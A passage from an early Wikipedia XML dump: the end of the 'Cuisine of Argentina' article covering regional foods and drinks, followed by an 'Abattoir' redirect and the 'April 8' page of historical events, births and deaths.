En líneas generales, durante el s XX el gusto más común entre los argentinos se ha dirigido a los quesos de tipo francés, y es debido a esto que en Argentina se logran buenas o aceptables imitations of French cheeses.
--&gt;

===Northwest region===

The Northwest region includes the provinces of [[Jujuy Province|Jujuy]], [[Salta Province|Salta]], [[Catamarca Province|Catamarca]], [[Tucumán Province|Tucumán]], [[Santiago del Estero Province|Santiago del Estero]], [[La Rioja Province, Argentina|La Rioja]], [[San Juan Province, Argentina|San Juan]], [[Mendoza Province|Mendoza]], and [[San Luis Province|San Luis]].

The cuisine of this region shows the massive influence of the pre[[hispanic]] cultures in the [[Andes Mountains]]; in fact the historical centers of the provinces of this region are located in Andean areas, with the exception of Tucumán, Santiago del Estero y San Luis, although Tucumán and San Luis retain physical characteristics similar to the Andeans and their traditional products are in an Andean style (such as corn and potatoes) and include the existence of the &quot;taco&quot; or the native carob bean.

There also exist here, as in almost all of continental Argentina, an important cattle ranching industry, but there are also other herds of animals: aside from the indigenous species(especially the llama), in addition there are non-native species acclimated for almost half a millennium, such as goats, sheep and pigs. The native species in this region have been relegated almost exclusively to the arid zones of the Puna and the High Andean Desert.

In agriculture, in addition to potatoes and corn, one finds many varieties of indigenous vegetables: [[quinoa]] and [[kiwicha]] prosper in the least humid zones, while in more humid areas, beans, tomatoes, [[pumpkin]]s, [[chile pepper]]s, [[avocado]]s, and ''el cayote'' abound.

&lt;!--
Non-native plant species are also cultivated in Northeast Argentina and Cuyo: excellent ''vides, olives, nuez/nueces, duraznos, peras, cebollas, ajos, damascos, ciruelas. 
En las zonas más húmedas es grande la producción de: caña de azúcar, limón, plátanos (bananas), oranges;'' apples do well in the coldest zones  ''correspondientes al Cuyo.''
Frome this we can infer that, traditionally, this region ''ha sido la dotada de una mayor base para una mayor variedad de platos. Si en toda la Argentina son típicas las empanadas, es en esta región en donde llega a su apogeo la preparación de las mismas, y las diversas provincias de este conjunto rivalizan en cúal de ellas tiene las mejores empanadas,en esto suelen destacarse las tucumanas y salteñas rellenas de carne ó de [[humita]].''
Another typical dish of the region (and available throughout the country) ''es la especie de suculento guiso preparado principalmente con granos de maíz: el locro. En lo real existen diversas variedades de locro (por ejemplo el [[huascha locro]]  o locro pobre), siendo el [[mote]] una especie de locro.
--&gt;
On the other hand, in this area the preparation of [[tamale]]s and [[humita]]s in corn husks is common.

Other culinary specialties of this region are almond paste ([[marzipan]]), dried peaches, [[maize]] cake, pork stew with corn, steak, cheap stew, meat stew and  eggs ''quimbos''; as well as potato cake, although this last one is often made in other areas of Argentina in recent times.

Tucumán stands out for the excellent cheeses of Tafí.

While nearly all the provinces in the region (except for Tucumán and Santiago del Ester) produce wines that in most cases have won worldwide acclaim, among the wines one must mention at least one that is exclusively Argentine: ''torrontés'', a fragrant white wine with a fruity flavor, produced in the Calchaquíes Valleys. Among vintners producing ''torrontés'', the most famous is Cafayate. In the north, as well as in Tarija, liquors (''aguardientes'') are made from grapes or distilled from wine, such as [[singani]], or others similar to Chilean [[pisco]].

However, the great majority of Argentines prefer French-style wines (including sparkling wines like [[champagne (beverage)|champagne]]). This taste is found in the higher economic strata, where the purchasing power is greatest, and as a consequence, native, Italian, and Spanish wines all play second fiddle to French wines to Argentine palates (at least in the 20th century).
&lt;!--
De los vinos de tipo italiano que se producen en Argentina se destacan los que imitan al ''Chianti'', de los de tipo español los más conocidos son los llamados carlón.
En ciertas zonas y en ciertos grupos socioeconómicos argentinos existe una preferencia por los vinos endulzados artificialmente (avocados) gusto quizás derivado de los &quot;vinos de misa&quot; (principalmente el llamado &quot;mistela&quot;), esto se entiende más si se recuerda que las primeras cepas de vid para vino fueron plantadas en Argentina a inicios de s XVI precísamente para cumplir con la liturgia católica.

Se ha hecho mención ya del algarrobo, con la vaina de este árbol se realizan alimentos y bebidas artesanales: una especie de pan llamado patay y una especie de cerveza llamada aloja.

Northwest Argentina es territorio en que se produces a great variety of dulces, algunos de ellos de consumo masivo en todo el país: dulce de batata y dulce de membrillo -con estos y ''queso fresco'' se realizan los postres llamados fresco y batata  y [[postre vigilante]]  muy comunes en casi cualquier parte de Argentina-, más restringidos al Noroeste son los arropes de chañar y de tuna, o los dulces de melaza y cayote. 
Un postre simple típico del Noroeste Agentino es el quesillo de cabra con miel de abeja.
--&gt;

===Northeast region===

The region includes the provinces of [[Corrientes Province|Corrientes]], [[Chaco Province|Chaco]], [[Misiones Province|Misiones]], [[Formosa Province|Formosa]], and most of [[Entre Ríos]], the north of [[Santa Fe Province|Santa Fe]], and the east of [[Santiago del Estero Province|Santiago del Estero]].

Four principal foods characterize the nourishing productions of this Argentine region: ''la mandioca'', rice, freshwater fish, and mate.

This area of Argentina provides ''yerba mate'' (''caá'') to the rest of the nation, and even to neighboring states. The two provinces of Corrientes and Misiones are the principal producers of ''yerba''. As the main producer of yerba mate, the mate drink is most popular in this area. In the Northeast, mate is sometimes mixed with cold fruit juices (called ''Tereré''), or even with spirits.

''Mandioca'' [[cassava]] and many dishes of Northeast Argentina are identical or very similar to those of [[Paraguay]] and of [[Santa Cruz de la Sierra]]. Common foods include varieties of homemade breads (''panes caseros''), some made with ''mandioca'' flour, and [[tapioca]]. Varieties of tapioca called ''chipá'' and ''chipaca'' spread throughout [[Southern cone]] due to internal migrations. ''Mandioca'' is also the base for the dish called ''beyú'' (also known as ''mbeyú'' or ''mvejú''). Empanadas are also made here with ''Mandioca'' flour instead of traditional wheat flour. Rice is widely available and is often used in the filling of empanadas. In the Entre Rios province it is also possible to find empanadas filled with [[milk pudding]].

The abundance of rivers, streams, and lagoons makes fish common to the northeastern diet. Among the fish commonly eaten are ''pacú'', ''dorado'', [[surubí]], ''mandiyú'', ''manguruyú'', ''patí'' and [[Leporinus obtusidens|boga]]. They can be roasted, served with rice stews or in empanadas.

''Carpincho'' ([[capybara]]) and ''[[yacaré]]'' meat were common before the arrival of the Spanish conquest, and can still be found. The ''carpincho'' is sometimes cooked by placing hot stones inside the dead animal.

Fruit production is also widespread, and fruit is a component of various desserts and beverages. The horticultural fruits are [[orange (fruit)|oranges]], [[banana]]s, [[watermelon]]s, [[avocado]]s, [[grapefruit]]s, [[tangerine]]s, and [[pineapple]]s. 

[[Palm tree]]s are found in this region, and the ''palmitos'' ([[palm heart]]s) are nowadays eaten all over Argentina, usually with ''Salsa Golf'', a mix of [[ketchup]] and [[mayonnaise]].

===Patagonia and Tierra del Fuego===

This region consists of the provinces of [[Chubut Province|Chubut]], [[Neuquén Province|Neuquén]], [[Río Negro Province|Río Negro]], [[Santa Cruz Province, Argentina|Santa Cruz]], and [[Tierra del Fuego Province, Argentina|Tierra del Fuego, Antarctica and South Atlantic Islands]]. 

Here, one can encounter ''asados'' (roasts), ''dulce de leche'' , ''empanadas'' (except for the [[Falkland Islands|Falkland Islands]]), and the intake of infusions of ''yerba mate'' (although it often has to come from abroad).

Tallarines, Raviolis, ''ñoquis'' ([[gnocchi]]), and pizzas are also common in Southern Argentina. Unlike the rest of the country, the southern region has, like its natural production, migratory influences, and its climate, has come unique characteristics. In addition to the always present influence of [[Italy|Italian]] and [[Castillian]] flavors, one can notice the influence of Central and Northwestern Europe.

Welsh immigration, for example, since the second half of the 1960s in Chubut has introduced two large contributions to local cuisine: the [[torta negra]], and the cheese called [[Chubut]], whose consumption later sspread to the greater part of Patagonia (especially in [[Neuquén]]) and in the south of the province of Buenos Aires.

Central European immigration has spread the preparation of certain deserts and sweets (cherry, apple, raspberry, [[bilberry]], ''rosa mosqueta'', ''zarzaparrilla'' ([[sarsaparilla]]), sauces, etc.) chocolates like those of [[Bariloche]] and the practice of smoking wild boar and red deer meat.

The original peoples had made their particular contributions, such as the [[curanto]], el ñaco (a kind of porridge), breads and cakes made from flour composed of ''&quot;nuez&quot; de [[pehuén]]'', a candy called ''[[llao llao]]'', as well as the fruits of the [[lenga]] and [[calafate]].

The coastlines and lakes of this region have proven rich in [[fish]] and [[shellfish]], leading to extravagant preparation of [[seafood]]. It is common to find ''&quot;patés&quot;'', roasts and ''guisos'' of ''centolla'' ([[spider crab]]), [[squid]], ''[[giant squid]]'', [[octopus]], [[pollock]], [[salmon]], [[trout]]s, ''[[corvina]]s'', [[oyster]]s, and so forth.

The cold weather is a good &quot;excuse&quot; for the consumption of spirits, the Andean portion of Patagonia produces their crafted beers, and the current trends compare those found in Ireland and Central Europe. In the valleys of the Río Negro y Neuquén (ultimately going into northwest Chubut) fine white wines such as Riesling are made, being perhaps the most southern vineyards in the world.

Inevitably, there are also roasts. Characteristically, in the southern part of Argentina, besides cattle roast, there are pig roasts, goat roasts, and especially ''[[cordero|corderito patagónico]]'' lamb, [[guanaco]], ''ñandú'' ([[rhea (bird)|rhea]]), and Patagonic deer.

==Other foods and beverages==
Though we have assembled a review of the cuisine of Argentina and its principal regions, with abundant information, it would be incomplete if the article mentioned only the foods and beverages already cited.

For example, though the importance of the production and consumption of wine (''vino'') has been discussed, it is important to note that [[beer]] (''cerveza''; the Italian ''birra'' is frequently used) in the second half of the 20th century (at the least) and in the first five years of the 21st, competes with wine in popularity. Breweries appeared in Argentina at the end of the 1860s, started by Alsacian colonists; the first were almost in the downtown of Buenos Aires (''el égido de la Ciudad Autónoma de Buenos Aires''), and soon Polish brewers began industrial production of beer: San Carlos in the province of Santa Fe, Río Segundo and Córdoba in the province of Córdoba, [[Quilmes]] and Lavallol on the outskirts of La Plata (a province of Buenos Aires), [[San Miguel de Tucumán]] in the province of Tucumán and on the outskirts of the cities of [[Mendoza]] and [[Salta]]. The presence of a rather important production and consumption of beer has supported the existence of related events, for example the so-called ''[[Oktoberfest]]s'' (sic) or &quot;''Fiestas de la Cerveza''&quot; in locations that have a significant German population ([[Villa General Belgrano]] in Córdoba, [[San Carlos, Santa Fe|San Carlos]] and [[Esperanza, Santa Fe|Esperanza]] in the province of Santa Fe, etc.). Such celebrations copy, in an Argentine manner, [[Munich]]'s ''Oktoberfest'', and similarly are tourist attractions. However, the presence of an also-numerous population of [[Celt]]ic lineage, principally of [[Ireland|Irish]] origin, has supported the creation of other celebrations of beer, often for marketing purposes, such as [[Saint Patrick's Day]] (''Día de San Patricio''), patron of Ireland, which is celebrated with abundant libations. 

Although the consumption of alcoholic beverages in Argentina is perhaps less than that of the United States, and certainly much less than that of the British Isles, Scandinavia, or Central and Eastern Europe, the Argentines enjoy a variety of alcoholic beverages and Argentina can boast a varied array of ''elaboraciones'', whether industrial or artisanal. Besides beer and wine, Argentines frequently drink [[cider]] (here again, the heritage comes from Spain and Italy, more precisely from [[Asturias]] and [[Campania]]). Cider is the most popular beverage of the middle and lower economic classes at [[Christmas]] and [[New Year]] (the high classes preferring to celebrate with [[champagne (beverage)|champagne]]).

Other widely consumed spirits are ''aguardiente'' ([[firewater]]) made from sugar cane, known as ''[[caña quemada]]'' (&quot;burnt cane&quot;) or, simply, ''caña'' (&quot;cane&quot;). A folkloric note about ''caña quemada'': until [[June 21]] it is traditional to drink ''caña quemada'' with ''ruda macho'' (a variant of [[common rue]]), it is supposed that this mixture prevents the [[flu]] and other illnesses. ''Caña'' competes, mainly in rural areas, with [[gin]].

There are many artisanally produced [[liqueur]]s (distilled, flavored alcoholic beverages) in Argentina, for example those flavored with ''[[peperina]]'', [[orange (fruit)|orange]], [[egg (food)|egg]], [[anise]], [[coffee]], [[cherry]] and, inevitably, ''dulce de leche''. The ''[[esperidina]]'' is a type of liqueur  made from orange peels, invented in Argentina around 1890. One may also encounter ''chitronchelo'' or (in Italian) ''[[citroncello]]'', based on lemon. This beverage arrived with immigrants from the [[Mezzogiorno]], and is produced both artisanally and industrially (for example, in Mar del Plata).

Nevertheless, Argentines are far more adept at non-alcoholic infusions (although now and then both &quot;families&quot; are mixed; the ''[[yerbiao]]'' for example, is mate mixed with ''caña'' or gin). To say that the ''[[Yerba mate|mate]]'' is the favourite drink might be redundant but it must be done; but the fact that the ''mate'' is very consumed by the inhabitants of the ''[[Southern Cone]]'' must not lure the foreigner into thinking that other infusions are rare in the region, in Argentina especially, given that there is a strong European cultural imprint, the consumption of [[coffee]] is very common. And not so long ago [[chocolate]] infusions were common (the eating of chocolate is a Spanish influence&amp;mdash;although the plant originated in Meso-America), this consumption grows during autumn and winter, or in the cold regions of the country; there are two dates where consumption of chocolate infusions is traditional in the primary educational centres: [[25 May]] and [[9 July]], that is, the two national dates of Argentina.

The English cultural influx (reinforced at the end of the 19th century and beginnings of the 20th by the resurgence of the Far East) has also made very common the consumption of [[tea]].

To finish the index of infusions consumed in Argentina, it must be said that [[medicinal herbs]] are common in the whole country, and that many of them are drunk infused: [[chamomile]], [[lanceleaf]], ''[[boldo]]'', ''[[poleo]]'', ''[[peperina]]'', ''[[carqueja]]'', ''[[tomillo]]'', ''[[canchalagua]]'', rue (''macho'' and ''hembra'', that is, &quot;male&quot; and &quot;female&quot;), ''malva'', ''romero'', [[passion flower]], ''[[bira bira]]'', ''[[palán palán]]'', ''[[muña muña]]'', to mention only the main ones. Many of these herbs are also used in [[apéritif]]s and [[bitters]], whether alcoholic or not.

Common ''restoranes'' or ''restaurantes'' nearly anywhere in Argentina today serve (into the wee hours) quickly prepared meals that in the course of the 20th century came to be known as ''minutas''. Some of the dishes included in the catgory of ''minutas'' are ''[[milanesa]]s'', ''churrascos'', ''bifes'', ''escalopes'', ''tallarines'', ''ravioles'', ''ñoquis'', although some are very typical of locations that sell food: &quot;''bifes a caballo''&quot; (beef steak with two fried eggs), &quot;''milanesa a horse''&quot;, &quot;''milanesa completa''&quot; (a ''milanesa'' with two fried eggs and a garnish of [[french fries|fries]]), &quot;''[[revuelto Gramajo]]''&quot;, &quot;''[[colchón de arvejas]]''&quot;, &quot;''suprema de chicken''&quot; (a kind of chicken ''milanesa''), ''[[matambre]]s'', &quot;''[[lengua a la vinagreta]]''&quot; and &quot;[[sandwich]]es&quot;.

The variety of &quot;sandwiches&quot; (called thus in Argentina, as opposed to the Spanish ''emparedado'') are nearly infinite. The most common are those made of ''milanesa'', baked ham and cheese, ''pan de miga'', toasted bread, ''[[pebete]]s'', ''[[pancho]]s'',  ''[[choripan]]es'', ''[[morcipan]]es'', etc.; from [[Montevideo]] comes a different species of sandwich called the ''[[chivito (sandwich)|chivito]]'', even though it contains no [[chivito|goat meat]].

It is worth mentioning ''[[picada]]s'', which are consumed in homes or bars, cafés, &quot;''cafetines''&quot; and &quot;''bodegones''&quot;; they consist of an ensemble of plates containing cubes of cheese (typically from Mar del Plata or Chubut), pieces of [[salame]], [[olive]]s in brine, french fries, ''maníes'' ([[peanut]]s), etc.; ''picada''s are eaten accompanied by an alcoholic beverage (&quot;''fernet''&quot;, beer, wine with [[soda]], to give some common examples).

To conclude, it should be noted that the people of Argentina greatly enjoy ''helado'' ([[ice cream]], [[sorbet]], etc.), especially the Italian kind. This fondness is not new: from the time of the Spanish colonies there has existed a type of sorbet made from fallen hail or snow. (This has been documented; desserts were made with snow in Mendoza at the beginning of the 19th century.)

==References==
*This article draws heavily on the [[:es:Gastronomía de Argentina|corresponding article]] in the Spanish-language Wikipedia, which was accessed in the version of [[August 3]], [[2005]].

==External links==
*[http://www.planetargentina.com/food/index.html Planet Argentina] - Provides comprehensive information on how cuisine and culture are mixed. Includes details on the variety of foods and restaurants.

==See also==
*[[Argentine wine]]
[[de:Argentinische Küche]]
[[es:gastronomía de Argentina]]
[[fr:Cuisine argentine]]
[[it:Cucina argentina]]
[[pt:Culinária da Argentina]]

[[Category:Argentine cuisine]]
[[Category:Argentine culture]]</text>
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    <title>Abattoir</title>
    <id>2223</id>
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      <id>15900655</id>
      <timestamp>2002-06-05T22:54:25Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
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      <comment>changed into redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Slaughterhouse]]
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  <page>
    <title>April 8</title>
    <id>2224</id>
    <revision>
      <id>42016811</id>
      <timestamp>2006-03-03T06:09:46Z</timestamp>
      <contributor>
        <ip>65.148.101.160</ip>
      </contributor>
      <comment>/* Births */ added Hugo Fregonese</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
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|{{AprilCalendar}}
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|{{ThisDateInRecentYears|Month=April|Day=8}}
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'''April 8''' is the 98th day of the year in the [[Gregorian calendar]] (99th in [[leap year]]s). There are 267 days remaining.
==Events==
*[[217]] - [[Roman emperor]] [[Caracalla]] is [[assassinated]] (and succeeded) by his [[Praetorian Guard]] [[prefect]], [[Marcus Opellius Macrinus]]
*[[1203]] - Congress in [[Zenica|Bilino Polje]], where [[Ban Kulin]] officially declared his allegiance to the Catholic Church and denounced the heresy. 
*[[1730]] - [[Shearith Israel]], the first [[synagogue]] in [[New York City]], is dedicated. 
*[[1742]] - The first performance of [[George Frideric Handel]]'s oratorio ''[[The Messiah]]'', in [[Dublin]].
*[[1767]] - [[Ayutthaya kingdom]] fell to [[Burma|Burmese]] invaders.
*[[1820]] - The [[Venus de Milo]] is discovered on the [[Aegean Sea|Aegean]] island of [[Melos]].
*[[1832]] - [[Black Hawk War]]: Around 300 [[United States]] 6th Infantry troops  leave [[Jefferson Barracks, St. Louis]] to fight the [[Sauk]] [[Native Americans in the United States|Native Americans]].
*[[1886]] - [[William Ewart Gladstone]] introduces the first [[Home Rule]] bill into the [[House of Commons]]. 
*[[1893]] - First recorded [[college basketball]] game occurs in [[Beaver Falls, Pennsylvania]] when the [[Geneva College]] Covenanters defeated the [[New Brighton, Pennsylvania|New Brighton]] [[YMCA]]. 
*[[1895]] - The [[Supreme Court of the United States|United States Supreme Court]] declared [[income tax]] to be [[unconstitutional]] in [[Pollock v. Farmers' Loan &amp; Trust Co.]]
*[[1899]] - [[Martha Place]] becomes the first woman to be executed in an  [[electric chair]].
*[[1904]] - [[France]] and the [[United Kingdom]] sign the ''[[Entente cordiale]].''
*1904 - Longacre Square in [[Midtown Manhattan]] is renamed [[Times Square]] after ''[[The New York Times]]''.
*[[1910]] - The [[Los Angeles Motordome]] opened near [[Playa del Rey, California]].
*[[1913]] - The [[Seventeenth Amendment to the United States Constitution]] is ratified requiring direct [[election]] of [[United States Senate|Senators]].  
*[[1916]] - In [[Corona, California]], auto racer [[Bob Burman]] crashed through a crowd barrier at the last [[Boulevard Race]], killing himself, his mechanic and a track policeman, and badly injuring five spectators.
*[[1918]] - [[World War I]]: Actors [[Douglas Fairbanks]] and [[Charlie Chaplin]] sell [[war bond]]s on the streets of [[New York, New York]]'s financial district. 
*[[1926]] - [[Benito Mussolini]] is &quot;slightly wounded in the nose&quot; after being shot with a revolver by [[Violet Gibson]], an [[Irish people|Irish woman]] and sister of [[Baron Ashbourne]]).
*[[1929]] - [[Indian Independence Movement]] At Delhi Central Assembly, Bhagat Singh and Batukeshwar Dutt threw handouts, and bombs in a corridor not to cause injury and courted arrest.
*[[1935]] - The [[Works Progress Administration]] is formed when the [[Emergency Relief Appropriation Act of 1935]] becomes law. 
*[[1942]] - [[World War II]]: [[Siege of Leningrad]] - [[Soviet Union]] forces open a much-needed [[railway]] link to [[Saint Petersburg|Leningrad]].  
*[[1945]] - At the POW camp at [[Flossenbürg]], pastor and theologian [[Dietrich Bonhoeffer]] is hanged.
*[[1952]] - In a [[radio]] address to the nation from the [[White House]], President [[Harry S. Truman]] calls for the seizure of all [[steel mill]]s in the [[United States]] in order to prevent a nationwide [[Strike action|strike]].  
*[[1953]] - [[Mau Mau]] leader [[Jomo Kenyatta]] is convicted by [[Kenya]]'s [[United Kingdom|British]] rulers.
*[[1967]] - In [[Vienna]], [[Austria]], [[Sandie Shaw]] wins the twelfth [[Eurovision Song Contest]] for the [[United Kingdom]] singing &quot;Puppet on a String&quot;.
*[[1971]] - a 6 pound [[meteorite]] struck the home of Robert and Wanda Donahue in [[Wethersfield, Connecticut]]
*[[1974]] - At the Atlanta-Fulton County Stadium, [[Hank Aaron]] breaks [[baseball]] great's [[Babe Ruth]]'s record by hitting his 715th [[home run]]. 
*[[1975]] - [[Frank Robinson]] of the [[Cleveland Indians]] manages his first game as major league [[baseball]]'s first [[African American]] manager. 
*1975 - [[Vietnam War]]: After spending a week in [[South Vietnam]], U.S. Army Chief of Staff [[Frederick Weyand]] gives a report to the [[Congress of the United States|U.S. Congress]] that South Vietnam will fall without additional [[military aid]].
*[[1985]] - [[Bhopal disaster]]: [[India]] files suit against [[Union Carbide]] for the disaster which killed an estimated 2,000 and injured another 200,000.  
*[[1986]] - [[Clint Eastwood]] is elected mayor of [[Carmel-by-the-Sea, California]] receiving 72% of the vote (voter turnout was also doubled over the previous mayoral election). 
*[[1987]] - [[Los Angeles Dodgers]] executive [[Al Campanis]] resigns amid great controversy over [[race|racially]]-charged remarks he had made while on ''[[Nightline]].''
*[[1989]] - [[South Africa]] In Johannesburg, the Progressive Federal Party, Independent party, National Democratic Movement and the force of &quot;Ontevrede Afrikaners&quot; or dissatisfied Afrikaners merged to form the Democratic Party.
*[[1990]] - ''[[Twin Peaks]]'' premieres. 
*[[1992]] - Retired [[tennis]] great [[Arthur Ashe]] announces to the world that he has [[AIDS]], acquired from blood transfusions during one of his two heart surgeries.  
*[[1994]] - Body of [[Kurt Cobain]] discovered in his Washington home.
*[[1999]] - [[Haryana Gana Parishad]], a [[political party]] in the [[India]]n state of [[Haryana]], merges with the [[Indian National Congress]].
*[[2000]] - A [[U.S. Marine Corps]] V-22 Osprey crashes during landing at Marana, [[Arizona]] killing 19.
*[[2002]] - [[Ed McMahon]] files a US$20 million lawsuit against his insurance company and others regarding a [[toxic mold]] infecting McMahon's [[Beverly Hills, California]] home.
*[[2003]] - US forces fire upon [[Al Jazeera]]'s office's in [[Baghdad]], [[Iraq]] killing a reporter and wounding another.
*[[2004]] - [[Darfur conflict]]: The [[April 8 Humanitarian Ceasefire Agreement|Humanitarian Ceasefire Agreement]] is signed by the [[Sudan]]ese government and two rebel groups.
*2004 - The famous [[Japanese people|Japanese]] economist and former [[professor]] at [[Waseda University]] [[graduate school]] [[Kazuhide Uekusa]] was arrested on the [[escalator]] of [[Japan Railway|JR]] [[Shinagawa Station]] because of trying to peep under a [[high school]] [[girl]]'s [[skirt and dress|skirt]] with his hand [[mirror]].
*[[2005]] - [[Funeral of Pope John Paul II]]

==Births==
*[[563 BC]] - [[Gautama Buddha]], Indian religious leader (d. [[483 BC]])
*[[1320]] - King [[Peter I of Portugal]] (d. [[1367]])
*[[1533]] - [[Claudio Merulo]], Italian composer (d. [[1604]])
*[[1541]] - [[Michele Mercati]], Italian physician and gardener (d. [[1593]])
*[[1605]] - King [[Philip IV of Spain]], (d. [[1665]])
*[[1641]] - [[Henry Sydney, 1st Earl of Romney]], English statesman (d. [[1704]])
*[[1692]] - [[Giuseppe Tartini]], Italian composer (d. [[1770]])
*[[1859]] - [[Edmund Husserl]], Austrian philosopher (d. [[1938]])
*[[1865]] - [[Charles W. Woodworth]], American entomologist (d. [[1940]])
*[[1868]] - King [[Christian IX of Denmark]] (d. [[1906]])
*[[1874]] - [[Stanislaw Taczak|Stanis&amp;#322;aw Taczak]], Polish general, commander-in-chief of the Greater Poland Uprising (d.1960)
*[[1875]] - King [[Albert I of Belgium]] (d. [[1934]])
*[[1889]] - Sir [[Adrian Boult]], British conductor (d. [[1983]])
*[[1892]] - [[Mary Pickford]], Canadian actress and studio founder (d. [[1979]])
*[[1904]] - [[John Hicks]], British economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (d. [[1989]])
*[[1905]] - [[Helen Joseph]], South African anti-apartheid activist (d. [[1992]])
*1905 - [[Erwin Keller]], German field hockey player
*[[1908]] - [[Hugo Fregonese]], [[Argentine]] [[film director]] (d. [[1987]])
*[[1911]] - [[Melvin Calvin]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1997]])
*1911 - [[Emil Cioran]], Romanian philosopher and essayist (d. [[1995]])
*[[1912]] - [[Alois Brunner]], Austrian Nazi
*1912 - [[Sonja Henie]], Norwegian figure skater (d. [[1969]])
*[[1914]] - [[María Félix]], Mexican actress (d. [[2002]])
*[[1918]] - [[Betty Ford]], [[First Lady of the United States]]
*[[1919]] - [[Ian Smith]], [[Prime Minister of Rhodesia]]
*[[1921]] - [[Franco Corelli]], Italian tenor (d. [[2003]])
*[[1923]] - [[George Fisher (cartoonist)|George Fisher]], American cartoonist (d. [[2003]])
*1923 - [[Edward Mulhare]], Irish actor (d. [[1997]])
*[[1926]] - [[Jürgen Moltmann]], German theologian
*[[1928]] - [[John Gavin]], American actor and U.S. Ambassador to Mexico
*[[1929]] - [[Walter Berry (opera singer)|Walter Berry]], Austrian bass-baritone (d. [[2000]])
*1929 - [[Jacques Brel]], Belgian singer and composer (d. [[1978]])
*[[1930]] - [[Carlos Hugo of Bourbon-Parma, Duke of Parma]], French-born fascist
*[[1933]] - [[Fred Ebb]], American composer (d. [[2004]])
*[[1934]] - [[Kurokawa Kisho]], Japanese architect
*[[1938]] - [[Kofi Annan]], Ghanian [[United Nations Secretary General]], recipient of the [[Nobel Peace Prize]]
*[[1940]] - [[John Havlicek]], American basketball player
*[[1941]] - [[Vivienne Westwood]], British fashion designer
*[[1943]] - [[Michael Bennett]], American dancer, choreographer, and theater director (d. [[1987]])
*1943 - [[Miller Farr]], American football player
*[[1946]] - [[Catfish Hunter]], baseball player
*1946 - [[Tim Thomerson]], American actor
*[[1947]] - [[Tom DeLay]], American politician
*1947 - [[Robert Kiyosaki]], American investor, businessman, and writer
*1947 - [[Larry Norman]], American singer and songwriter
*[[1949]] - [[John Madden (director)|John Madden]], British director
*1949 - [[Brenda Russell]], American singer and songwriter
*[[1954]] - [[Gary Carter]], baseball player
*[[1955]] - [[Barbara Kingsolver]], American novelist
*[[1960]] - [[John Schneider (television actor)|John Schneider]], American actor
*[[1962]] - [[Izzy Stradlin]], American musician ([[Guns N' Roses]])
*[[1963]] - [[Julian Lennon]], British musician and singer
*1963 - [[Alec Stewart]], British cricketer
*[[1964]] - [[Biz Markie]], American rapper and disc jockey
*[[1966]] - [[Robin Wright Penn]], American actress
*1966 - [[Mazinho]], Brazilian football player
*1966 - [[Bobby Ologun]], Nigerian television personality and martial artist
*[[1968]] - [[Patricia Arquette]], American actress
*[[1971]] - [[Chino XL]], American rapper
*[[1972]] - [[Paul Grey]], American bassist ([[Slipknot (band)|Slipknot]])
*[[1975]] - [[Timo Pérez]], Dominican [[Major League Baseball]] player
*[[1977]] - [[Mark Spencer]], computer programmer
*[[1979]] - [[Alexi Laiho]], Finnish guitarist and singer ([[Children of Bodom]])
*[[1980]] - [[Manuel Ortega]], Austrian singer
*1980 - [[Katee Sackhoff]], American actress
*[[1982]] - [[Judy Star]], Canadian actress
*[[1986]] - [[Erika Sawajiri]], Japanese actress and model
*1986 - [[Igor Akinfeev]], Russian football player

==Deaths==
*[[217]] - [[Caracalla]], [[Roman Emperor]] (b. [[186]])
*[[956]] - [[Gilbert of Chalon]], [[Duke of Burgundy]]
*[[1143]] - [[John II Comnenus]], [[Byzantine Emperor]] (b. [[1087]])
*[[1364]] - King [[John II of France]] (b. [[1319]])
*[[1461]] - [[Georg Purbach]], German mathematician and astronomer (b. [[1423]])
*[[1492]] - [[Lorenzo de Medici]], ruler of Florence (b. [[1449]])
*[[1586]] - [[Martin Chemnitz]], Lutheran reformer and theologian (b. [[1522]])
*[[1587]] - [[John Foxe]], English writer (b. [[1516]])
*[[1691]] - [[Carlo Rainaldi]], Italian architect (b. [[1611]])
*[[1697]] - [[Niels Juel]], Danish admiral (b. [[1629]])
*[[1704]] - [[Hiob Ludolf]], German orientalist (b. [[1624]])
*1704 - [[Henry Sydney, 1st Earl of Romney]], English statesman (b. [[1641]])
*[[1725]] - [[John Wise (clergyman)|John Wise]], English clergyman (b. [[1652]])
*[[1848]] - [[Gaetano Donizetti]], Italian composer (b. [[1797]])
*[[1857]] - [[Mangal Pandey]], Indian soldier
*[[1919]] - [[Loránd Eötvös]], Hungarian physicist (b. [[1848]])
*[[1920]] - [[Charles Tomlinson Griffes]], American composer (b. [[1884]])
*[[1931]] - [[Erik Axel Karlfeldt]], Swedish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1864]])
*[[1936]] - [[Robert Bárány]], Austrian physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1876]])
*[[1938]] - [[Joe &quot;King&quot; Oliver]], American musician (b. [[1885]])
*[[1950]] - [[Vaslav Nijinsky]], Polish-born ballet dancer (b. [[1890]])
*[[1965]] - [[Lars Hanson]], Swedish actor (b. [[1886]])
*[[1973]] - [[Pablo Picasso]], Spanish artist (b. [[1881]])
*[[1978]] - [[Ford Frick]], baseball commissioner
*[[1981]] - [[Omar Bradley]], U.S. general (b. [[1893]])
*[[1984]] - [[Pyotr Leonidovich Kapitsa]], Russian physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1894]])
*[[1985]] - [[J. Fred Coots]], American Songwriter (b. [[1897]])
*[[1990]] - [[Ryan White]], American activist (b. [[1971]])
*[[1991]] - [[Per Yngve Ohlin|Per Yngve &quot;Dead&quot; Ohlin]], Norwegian musician ([[black metal]])
*[[1992]] - [[Daniel Bovet]], Swiss-born pharmacologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1907]])
*[[1993]] - [[Marian Anderson]], American contralto (b. [[1897]])
*[[1996]] - [[Ben Johnson (actor)|Ben Johnson]], American actor (b. [[1918]])
*[[1997]] - [[Laura Nyro]], American singer and composer (b. [[1947]])
*[[2000]] - [[Claire Trevor]], American actress (b. [[1910]])
*[[2002]] - [[Maria Felix]], Mexican actress (b. [[1914]])
*[[2003]] - [[Anita Borg]], American computer scientist (b. [[1949]])
*[[2004]] - [[Bruce Edwards (golf)|Bruce Edwards]], golf caddy (b. [[1954]])

==Holidays and observances==
* Worldwide [[Roma and Sinti|Roma]] Nation Day
